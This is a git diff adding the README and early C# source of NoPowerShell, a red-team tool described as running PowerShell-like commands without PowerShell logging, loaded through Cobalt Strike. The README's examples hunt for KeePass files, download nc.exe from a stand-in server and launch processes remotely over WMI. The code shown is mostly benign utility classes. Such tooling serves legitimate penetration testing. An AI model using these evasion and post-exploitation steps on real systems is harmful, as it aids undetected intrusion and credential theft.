z`0r)+%PHTp_JO;(-*(2tFMU!T#TKb$k~^T*gIS@H_hPL^Kh%4n&wneD<-;LOZA?z=l!GKB4LR?I5-6lGb}*#A^Bwf z%a?qCHH^r>jy9#V^bbvzIZDih`PgvQT{YF!qg|ETuy<-1H>k^-HShCJRTQs2OR9Lr zJSk^-khV#CB_*HyRpmPId%M2(Hg;qVu!Yq~xnOkpp0iiM9J1Z=jN9CVW&S~%<%3QD zRBXF9mZxu)zT>ziBaz}Agt>>M>EBoDg|N1on^|M}w*{A9JFqEU;_~+xZvM-#UCHFKNo=ZL?#~%kzYd z_zISGWz$4g*g1~hv?9m7tLhL$4C8}#b$u`$o0@&uTd{lUe9940c(_x!mX=m)8dW%q z(zqv1Hl4QC+1Z&Z#%Ah{PQwlD-7)3dREb_SNU(wRdl}3h9TR0MTgS4?+FO*#L7n^L z-9u|%%G$13x;rDE78eU(aV<@4ZGal<6bGD3wxK1OBP0Jtun{04IY0qN2}WZe7lg_Z zHKDuuD2JpHt~-({+6NgM zJ82BgWy6#;1LHs=0vD6TAddS*;UjdflE?Uu;HIXgEzT;_jH%o~fuFoAZW%ra;oibC z9i>yWN^sZPS!DvZMzLmJMcP^`h&|(Q+k2*_gMqG4N(hnI8fUrBBic8upy2wejQAGp zQ+o#oxf|nT0rasxM{Qs2hWt;W<_EU&gyysUqo=_GdQ+_VGbKQMQTI)5!=#}bFyOE;g7%AExkcmp3boMrD+pcS^Uny_@=7xRN%2xs$E($W$S9oL z&{mctT88-n30d2@4Oos-cxl2{-8o~CDp+T>(JvKBUk4&=2be6KoVXv*!A-++P@p&& zLc;d6l5=w->%zQJS)efZ>_Ea7vK-Js^~N)ThAsGJ;^Zcw8*BR|!pqaL-YX=)5afDt zRj=_X2lsqP0P?G@OdtVP?agz$vL4@$jWsqiv-QnpdI}JoYQ*Ac$i%u0%qjnFaq;(} zEG}nB_Vao7hAVc(eM_Tx^1zq#Ogt0L8plofvEqq2A5! znrHbY+ntxl^pla!^H3ON4D{0Uz{+^LTpMy>n_+}6EQ}CIb8Wi!D(s1Zp%6GD`q70T z71vA5g4yNU#>VU*ue&L1W}4R~Lc#uJqqyOY`u-uAUmS8?S1z0&<3xiK(=oTMaF!Ce zdCf){vdXMbee1_-Hx?)oHGW-l^D8ddW4$I~Q2K_*tiNbwf&maOcMJw=nyA(9>i_&< z#XKqNv$W5An+M`BL@}-!B`=ypdElzDt!ZFr2qRky zTibxH&owJltHfqV+r22n$A@{$VuUcD`UcG%9c;mRL>@Ocw^Hw=*!2^O2w9A>Qc_vl zY^+0L3GE>{hj{QS%U;_`Hx&s3Rs`R26BTx61>e};uz0W#P~cR345sezytc(&=vs$CIq}DS%C+7w|j= zMRaJdoJR<+6(Unxs*Ws8notB$HZ?S4_JClkqNyjO#ktR6KDW^8wh}9W99wc6L}fKK z9)@`Xf)NkRGmVz&N7)PjsLRxVEFvgqRZFjZW-=qNuKC}P)5Db!M}h4xB&Tqjf5|@i zg&Zpj%1wVPq&Y0zy;Zx{*>igMp5BguuV2ZA>6w|kJ|>+& z`9ou_e+MxZKoclc5~B&ymo&&S1=3*OOL1jni6oK$n~D0lh{T^EXMzILV;fCvU8=n! z_yR}a=m4j_X(>e-tRAt2(_kkmKv*AdNHQ~WzIbzEbO~-hL9G02#!eZ%qVV`D49Ctw z!WPWld7*fn@Bp`^bz?I-Aa2ECpOOyxEaTHvpJ3R6_^jQJ59lSW{bH+{iI4m8K_@CW zSLO|oE2jGTeM%PFJ=L^zbV6Mjkx!JL_%U>fYCTC{oxjPgB-l!&#(WVt1`<92UE0b0 zNcbIv@?P%XK^EYmc(9V@rlujMq0>HXr0drtVnK_4#oC<;=kV5|sWj5yq4n{(8%-}o z8kdBX_q|-XY+PPh>F+fw0`-;V)ZL$HG^P4azrALLF&n#uX5f#T&&1w`zyToY>hh`J z8ht|bmXy@gnkZ0Cuq_WC!b1hizdd_rUd`MtF7#^oU(d^rfN#Ko604!6Z&&f=;oi_| zMrpin7`*AvxH2FVDzP=lW=o`;_~aLr>Hx*}Yjq;rkG!25Q)w=%Vn0gb>|>pOm5h)( z*w(iYD!1`232OHdI55foVNty>rDq1*#ybyP&WEJALC&l)&sok2Sc$EH*7PBp=@04x zZugLNBbQp=N5K(reao6Kp@jSQbCosa6%{+7xb;kLUYoR@WmrQ{;$*CE7a-Zkft-Ta z8+uzLU98c0Ym98jZO2RK-X8kob-PraveE1B(%*k`Mx2l?JpxXUrectdldt&N@VG&g z?Zv`JI=La^HjbL^S>a}8W?Y(@ny{La9@2u`lm!#|o)4wnLgz%UkJug<4)k@~73~M% zx!NLxFSFe~shypj?9(tKG9bHkm3VCBA&O|-!By>kl?XQFDCk!4%V0UEmR#FOsRI^_ zLJMAKU|Gk<$3bv07XHAJh}^ar_$y_lrB!%^gi--)cXM)z=u&VWA8mgb>}K)&!cH=5 zUYaL$blQS7K%S8+B@$!J|3jAK2q&l7I_d&JG2!v8>xeO)YyxB2(Tt1?($2YaeVYx} zrl0$dsSj7xJ$oj}o2?LY71DF>&%o32WG*GPANEm}0^nDj4zNJ-b@lpvUA^80p_B27 zn?xe`GQR}|23q#ZJ%kY?h6xK=g*Px|4E@|C1(p5GbU6pF1DM+K`M`M*VL4g4Uq$%6 zEuw_B8W|_M{N&+M`N!Kp$yar7jfoju9*qlx?M4hmeGbnrNExvV@(ziVzQ1O=rS4{u*lmcRH@4OX8+^o&o@_OnB;Fqp~Ab$=|+z$ zNtKq=?h$wzpvTH_X&~(w_4>IXVpV|%o%HC?5Fv!dt*x<>6JV2u_wPwfBBXl{Aa&?g zAAl?+p!94iOY)z?!j{(F?Xw~%BkEth?Io8medYF~T{pMap2!;W)Y;h1v)`1nDn%8x z6^l)hG0xVP^v;~I`@pNjZuf%Nykj)&yd%PApLcbYQ<`V3p<284ZdYZhqlCI8U$;1h zf~5=y;WI^{ zP;T(0LWPB>X#Oyb?Ca}8dOjv8TZzj9Q6HQgX*ga?g1gkWXQAl@jtzqUW3`uPgU(D(huua+ll_zu&hQViKni&(TP%9i%jGCK zUeSYlL2MkVM;jFTAhKIS=%Jn-=D>kGnAbai&h}?Own0z)5xgUq^0^d`9N{43`|hes z5}fnCC6Lom0b4t?o4g)xcFIb(w6=b*C)i%NFbD>{5!Z|iI2|m5NTP2TqdBT~^YQX;w4QZ6V8zlY(w%*WR4{LT`X+ z<2l-yCr8+C2O7Qmc;{JDQ-4-*aq&Al4p|Xz-;RxoJAeNC(D1i!@?Z{QVrB+Q@6ZvK zLDIF$o8PB=%V=1u0D~TI{Kan0zx9i-{ZTs$DM+Yv9$+`9M&kdbs8rs5dS*@>B9XAI z(`Qc+dlx#d8D#}6MqI7;-k{DQGek>(jTLV$T*H!rfpm!KBC?T${2N-5+4S*KREmR^ z%lg$%dJ*t%qN}06)0zj3sn}g%ReRP^*K1l_R5Sw_8YK9Km+^WJAYlPpKSSTR&{ZV0 zzG=4!e>tjS4M{FY4TTJxB^p8S6WHVd?qR10hxlrI;KrqlUM4v~DrD!LElAln2`&uH z?nFQ!-Riku$CKFIHgJ*RPPJWMCvP8vJ?d-?^hVI#Cbcv-;}}Vkg}J$)C@>Y4lytVM zKpE8!z+bX~wzl?E(({ZH)=pk;#{>p*){2?F;^frSuK?7|v`LE|$Zc(H-Mo48b6_h# z3CIFWzX%5oEw4?>kd0;VnL0xjp#J*O{`Lr{OKNDW2z{?Vrsmrhe-r*g4jOHZlj@nO H7R3JnZTI_$ literal 0 HcmV?d00001 diff --git a/README.md b/README.md index 4c8277e..ce7537b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,89 @@ -# nopowershell -PowerShell rebuilt in C# for Red Teaming purposes +# NoPowerShell +NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. + +Moreover, this project makes it easy for everyone to extend its functionality using only a few lines of C# code. + +# Screenshots +## Currently supported commands +Running in Cobalt Strike. +![NoPowerShell supported commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/CurrentlySupportedCommands.png "NoPowerShell in Cobalt Strike") +## Sample commands +![NoPowerShell sample commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/SampleCommands.png "NoPowerShell in Cobalt Strike") + + +# Usage +## Note +When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.: + +- cmd.exe: `ls ^| select Name` +- PowerShell: ```ls `| select Name``` + +## Examples +| Action | Command | Notes | +| - | - | - | +| List help | `NoPowerShell.exe` | Alternative: `NoPowerShell.exe Get-Command` | +| View status of a service | `NoPowerShell.exe Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | +| Search for KeePass database in C:\Users folder | `NoPowerShell.exe gci C:\Users\ -Force -Recurse -Include *.kdbx \| select Directory,Name,Length` | | +| View system information | `NoPowerShell.exe systeminfo` | | +| List processes on the system | `NoPowerShell.exe Get-Process` | | +| Show current user | `NoPowerShell.exe whoami` | Unofficial command | +| List autoruns | `NoPowerShell.exe Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run` | | +| List network shares connected to from this machine | `NoPowerShell.exe Get-NetSmbMapping` | | +| Download file | `NoPowerShell.exe wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) | +| List PowerShell processes on remote system | `NoPowerShell.exe gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc1.corp.local \| ? Name -Like "powershell*" \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters | +| Execute program using WMI | `NoPowerShell.exe Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | | + +# Known issues +- Pipeline characters need to surrounded by spaces +- TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error + +# Improvements +- Fix above issues +- Improve stability by adding exception handling +- Support for parameter groups +- Add support for ArrayArgument parameter +- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` + +# Contributing +Add your own cmdlets by submitting a pull request. +## Requirement +- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems + +## Instructions +Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. + +### Example usages + +| Action | Command | +| - | - | +| Simply run with default values | `gtc` | +| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | +| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | +| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | +| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Alternative | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | +| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | + +Execute the following steps to implement your own cmdlet: +1. Create a copy of the **TemplateCommand.cs** file. + * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder. + * In case it is a non-native command, place it in the **Additional** folder. +2. Update the `TemplateCommand` classname and its constructor name. +3. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` +4. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. +5. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. +6. In the Execute function: + 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; + 2. Based on the parameters provided by the user, perform your actions; + 3. Make sure all results are stored in the `_results` variable. +7. Remove all of the template sample code and comments from the file to keep the source tidy. + +# Contributed NoPowerShell cmdlets +Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit! + +| Cmdlet | Contributed by | GitHub | Twitter | +| - | - | - | - | +| Resolve-DnsName | | | | +| Get-ADUser | | | | +| Get-ADGroupMember | | | | diff --git a/Source/NoPowerShell/NoPowerShell.sln b/Source/NoPowerShell/NoPowerShell.sln new file mode 100644 index 0000000..bddbaae --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.4 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NoPowerShell", "NoPowerShell\NoPowerShell.csproj", "{555AD0AC-1FDB-4016-8257-170A74CB2F55}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.Build.0 = Debug|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.ActiveCfg = Release|Any CPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Source/NoPowerShell/NoPowerShell/App.config b/Source/NoPowerShell/NoPowerShell/App.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs new file mode 100644 index 0000000..7cf7331 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs @@ -0,0 +1,53 @@ +using System; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + ///

+ /// Base class for BoolArgument and StringArgument + /// + public class Argument : IEquatable + { + /// + /// Name of the argument, for example "-Path" + /// + protected string _name; + protected bool _isOptionalArgument; + protected bool _dashArgumentNameSkipUsed; + + public Argument(string name) + { + this._name = name; + _dashArgumentNameSkipUsed = false; + } + + public bool Equals(Argument other) + { + return other.Name.Equals(_name.Substring(0, other.Name.Length), StringComparison.InvariantCultureIgnoreCase); + } + + public string Name + { + get { return _name; } + } + + public bool IsOptionalArgument + { + get { return this._isOptionalArgument; } + } + + /// + /// Optional StringArgument which requires a value + /// + public bool DashArgumentNameSkipUsed + { + get { return _dashArgumentNameSkipUsed; } + set { _dashArgumentNameSkipUsed = value; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs b/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs new file mode 100644 index 0000000..979d43d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class ArgumentList : List + { + public T Get(string argumentName) where T : Argument + { + foreach (Argument arg in this) + { + // Skip irrelevant arguments + if (arg.GetType() != typeof(T)) + continue; + + // Check for matching argumentName + T foundArg = arg as T; + if (foundArg.Name.Equals(argumentName, StringComparison.InvariantCultureIgnoreCase)) + return foundArg; + } + + return null; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs new file mode 100644 index 0000000..446a3df --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs @@ -0,0 +1,43 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class BoolArgument : Argument + { + private bool _value; + + /// + /// Create a new boolean argument including its default value. Bool arguments are always optional. + /// + /// Name of the parameter + /// Default value of the argument + public BoolArgument(string argumentName, bool defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._isOptionalArgument = true; + } + + /// + /// Create new boolean argument with false as its default value. Bool arguments are always optional. + /// + /// Name of the parameter + public BoolArgument(string argumentName) : this(argumentName, false) + { + } + + public bool Value + { + get { return this._value; } + set { this._value = value; } + } + + public override string ToString() + { + return string.Format("{0}: {1}", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs new file mode 100644 index 0000000..603fbb6 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs @@ -0,0 +1,61 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class IntegerArgument : Argument + { + private int _value; + private int _defaultValue; + + /// + /// Create a new integer argument including its default value. + /// + /// Name of the parameter + /// Default value of the argument + public IntegerArgument(string argumentName, int defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._defaultValue = defaultValue; + this._isOptionalArgument = false; + } + + /// + /// Create a new integer argument including its default value specifying whether it is optional or not. + /// + /// Name of the parameter + /// Default value of the argument + /// True if the argument is optional; False if not + public IntegerArgument(string argumentName, int defaultValue, bool optionalArgument) : this(argumentName, defaultValue) + { + this._isOptionalArgument = optionalArgument; + } + + /// + /// Create a new integer argument with a null default value. + /// + /// Name of the parameter + public IntegerArgument(string argumentName) : this(argumentName, 0) + { + } + + public int Value + { + get { return _value; } + set { _value = value; } + } + + public bool IsDefaultValue + { + get { return _value == _defaultValue; } + } + + public override string ToString() + { + return string.Format("{0} \"{1}\"", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs b/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs new file mode 100644 index 0000000..a0de3fd --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs @@ -0,0 +1,61 @@ +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Arguments +{ + public class StringArgument : Argument + { + private string _value; + private string _defaultValue; + + /// + /// Create a new string argument including its default value. + /// + /// Name of the parameter + /// Default value of the argument + public StringArgument(string argumentName, string defaultValue) : base(argumentName) + { + this._value = defaultValue; + this._defaultValue = defaultValue; + this._isOptionalArgument = false; + } + + /// + /// Create a new string argument including its default value specifying whether it is optional or not. + /// + /// Name of the parameter + /// Default value of the argument + /// True if the argument is optional; False if not + public StringArgument(string argumentName, string defaultValue, bool optionalArgument) : this(argumentName, defaultValue) + { + this._isOptionalArgument = optionalArgument; + } + + /// + /// Create a new string argument with a null default value. + /// + /// Name of the parameter + public StringArgument(string argumentName) : this(argumentName, null) + { + } + + public string Value + { + get { return _value; } + set { _value = value; } + } + + public bool IsDefaultValue + { + get { return string.Equals(_value, _defaultValue, System.StringComparison.InvariantCultureIgnoreCase); } + } + + public override string ToString() + { + return string.Format("{0} \"{1}\"", _name, _value); + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs new file mode 100644 index 0000000..29fba3d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs @@ -0,0 +1,133 @@ +using System.Collections.Generic; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Text.RegularExpressions; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetSystemInfo : PSCommand + { + public GetSystemInfo(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + ResultRecord wmiOS = WmiHelper.ExecuteWmiQuery("Select * From Win32_OperatingSystem")[0]; + ResultRecord wmiCS = WmiHelper.ExecuteWmiQuery("Select * From Win32_ComputerSystem")[0]; + + // OS Version + string strOsVersion = string.Format("{0} Build {1}", + wmiOS["Version"], + /* wmiInfo["CSDVersion"],*/ // TODO + wmiOS["BuildNumber"]); + + // Original Install Date + Regex dateRegex = new Regex("([0-9]{4})([01][0-9])([012][0-9])([0-9]{2})([0-9]{2})([0-9]{2})"); + Match dateMatch = dateRegex.Matches(wmiOS["InstallDate"])[0]; + string sOrigInstallDate = string.Format("{0}-{1}-{2}, {3}:{4}:{5}", + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1], + dateMatch.Groups[4], dateMatch.Groups[5], dateMatch.Groups[6]); + + // System Boot Time + dateMatch = dateRegex.Matches(wmiOS["LastBootUpTime"])[0]; + string sSystemBootTime = string.Format("{0}-{1}-{2}, {3}:{4}:{5}", + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1], + dateMatch.Groups[4], dateMatch.Groups[5], dateMatch.Groups[6]); + + // Processors + CommandResult wmiCPUs = WmiHelper.ExecuteWmiQuery("Select * From Win32_Processor"); + List cpus = new List(wmiCPUs.Count); + foreach(ResultRecord cpu in wmiCPUs) + cpus.Add(string.Format("{0} ~{1} Mhz", cpu["Description"], cpu["CurrentClockSpeed"])); + + // Bios + ResultRecord wmiBios = WmiHelper.ExecuteWmiQuery("Select * From Win32_BIOS")[0]; + dateMatch = dateRegex.Matches(wmiBios["ReleaseDate"])[0]; + string strBiosVersion = string.Format("{0} {1}, {2}-{3}-{4}", + wmiBios["Manufacturer"], wmiBios["SMBIOSBIOSVersion"], + dateMatch.Groups[3], dateMatch.Groups[2], dateMatch.Groups[1]); + + // Hotfixes + CommandResult wmiHotfixes = WmiHelper.ExecuteWmiQuery("Select HotFixID From Win32_QuickFixEngineering"); + List hotfixes = new List(wmiHotfixes.Count); + foreach(ResultRecord hotfix in wmiHotfixes) + hotfixes.Add(hotfix["HotFixID"]); + + // Time zone + int timeZone = Convert.ToInt32(wmiOS["CurrentTimeZone"]) / 60; + string sTimeZone = string.Format("UTC{0}{1}", timeZone > 0 ? "+" : "-", timeZone); + + // Pagefile + string sPageFile = WmiHelper.ExecuteWmiQuery("Select Name From Win32_PageFileUsage")[0]["Name"]; + + // Summarize information + _results.Add( + new ResultRecord() + { + { "Host Name", wmiOS["CSName"] }, + { "OS Name", wmiOS["Caption"] }, + { "OS Version", strOsVersion }, + { "OS Manufacturer", wmiOS["Manufacturer"] }, + { "OS Build Type", wmiOS["BuildType"] }, + { "Registered Owner", wmiOS["RegisteredUser"] }, + { "Registered Organization", wmiOS["Organization"] }, + { "Product ID", wmiOS["SerialNumber"] }, + { "Original Install Date", sOrigInstallDate }, + { "System Boot Time", sSystemBootTime }, + { "System Manufacturer", wmiCS["Manufacturer"] }, + { "System Model", wmiCS["Model"] }, + { "System Type", wmiCS["SystemType"] }, + { "Processor(s)", string.Join(", ", cpus.ToArray()) }, + { "BIOS Version", strBiosVersion }, + { "Windows Directory", wmiOS["WindowsDirectory"] }, + { "System Directory", wmiOS["SystemDirectory"] }, + { "Boot Device", wmiOS["BootDevice"] }, + { "System Locale", wmiOS["OSLanguage"] }, + { "Input Locale", wmiOS["OSLanguage"] }, // TODO + { "Time Zone", sTimeZone}, // TODO + { "Total Physical Memory", wmiOS["TotalVisibleMemorySize"] }, + { "Available Physical Memory", wmiOS["FreePhysicalMemory"] }, + { "Virtual Memory: Max Size", wmiOS["TotalVirtualMemorySize"] }, + { "Virtual Memory: Available", wmiOS["FreeVirtualMemory"] }, + { "Virtual Memory: In Use", "" }, // TODO + { "Page File Location(s)", sPageFile }, + { "Domain", wmiCS["Domain"] }, + { "Logon Server", "" }, // TODO + { "Hotfix(s)", string.Join(", ", hotfixes.ToArray()) }, + { "Network Card(s)", "" }, // TODO + { "Hyper-V Requirements", "" } // TODO + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-SystemInfo", "systeminfo" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Shows details about the system such as hardware and Windows installation."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs new file mode 100644 index 0000000..73944ab --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs @@ -0,0 +1,61 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetWhoamiCommand : PSCommand + { + public GetWhoamiCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + bool showAll = _arguments.Get("All").Value; + + string[] DomainUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\'); + + _results.Add( + new ResultRecord() + { + { "Domain", DomainUser[0] }, + { "User", DomainUser[1] } + } + ); + + if(showAll) + { + // TODO + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Whoami", "whoami" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("All") + }; + } + } + + public static new string Synopsis + { + get { return "Show details about the current user."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs new file mode 100644 index 0000000..4c3a406 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs @@ -0,0 +1,110 @@ +using System.Collections.Generic; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Reflection; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetCommandCommand : PSCommand + { + public GetCommandCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + Dictionary commandTypes = ReflectionHelper.GetCommands(); + + // Iterate over all available cmdlets + foreach (KeyValuePair commandType in commandTypes) + { + // Hide TemplateCommand from list of commands + // It is available to experiment with though + if (commandType.Key == typeof(TemplateCommand)) + continue; + + // Aliases + CaseInsensitiveList aliases = commandType.Value; + + // Command name + string commandName = aliases[0]; + + // Arguments + ArgumentList arguments = null; + PropertyInfo argumentsProperty = commandType.Key.GetProperty("SupportedArguments", BindingFlags.Static | BindingFlags.Public); + if (argumentsProperty != null) + arguments = (ArgumentList)argumentsProperty.GetValue(null, null); + else + arguments = new ArgumentList(); + + string[] strArgs = new string[arguments.Count]; + int i = 0; + foreach (Argument arg in arguments) + { + // Bool arguments don't require a value, they are simply a flag + if (arg.GetType() == typeof(BoolArgument)) + strArgs[i] = string.Format("[-{0}]", arg.Name); + // String arguments can both be mandatory and optional + else if (arg.GetType() == typeof(StringArgument)) + { + if (arg.IsOptionalArgument) + strArgs[i] = string.Format("[-{0} [Value]]", arg.Name); + else + strArgs[i] = string.Format("-{0} [Value]", arg.Name); + } + else if (arg.GetType() == typeof(IntegerArgument)) + strArgs[i] = string.Format("[-{0} [Value]]", arg.Name); + + i++; + } + + // Synopsis + string strSynopsis = null; + PropertyInfo synopsisProperty = commandType.Key.GetProperty("Synopsis", BindingFlags.Static | BindingFlags.Public); + if (synopsisProperty != null) + strSynopsis = (string)synopsisProperty.GetValue(null, null); + + string strArguments = string.Join(" ", strArgs); + string strAliases = string.Join(", ", aliases.GetRange(1, aliases.Count - 1).ToArray()); + + _results.Add( + new ResultRecord() + { + { "Command", string.Format("{0} {1}", commandName, strArguments) }, + { "Aliases", strAliases }, + { "Synopsis", strSynopsis } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Command" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Shows all available commands."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs new file mode 100644 index 0000000..e2c9ef6 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs @@ -0,0 +1,93 @@ +using 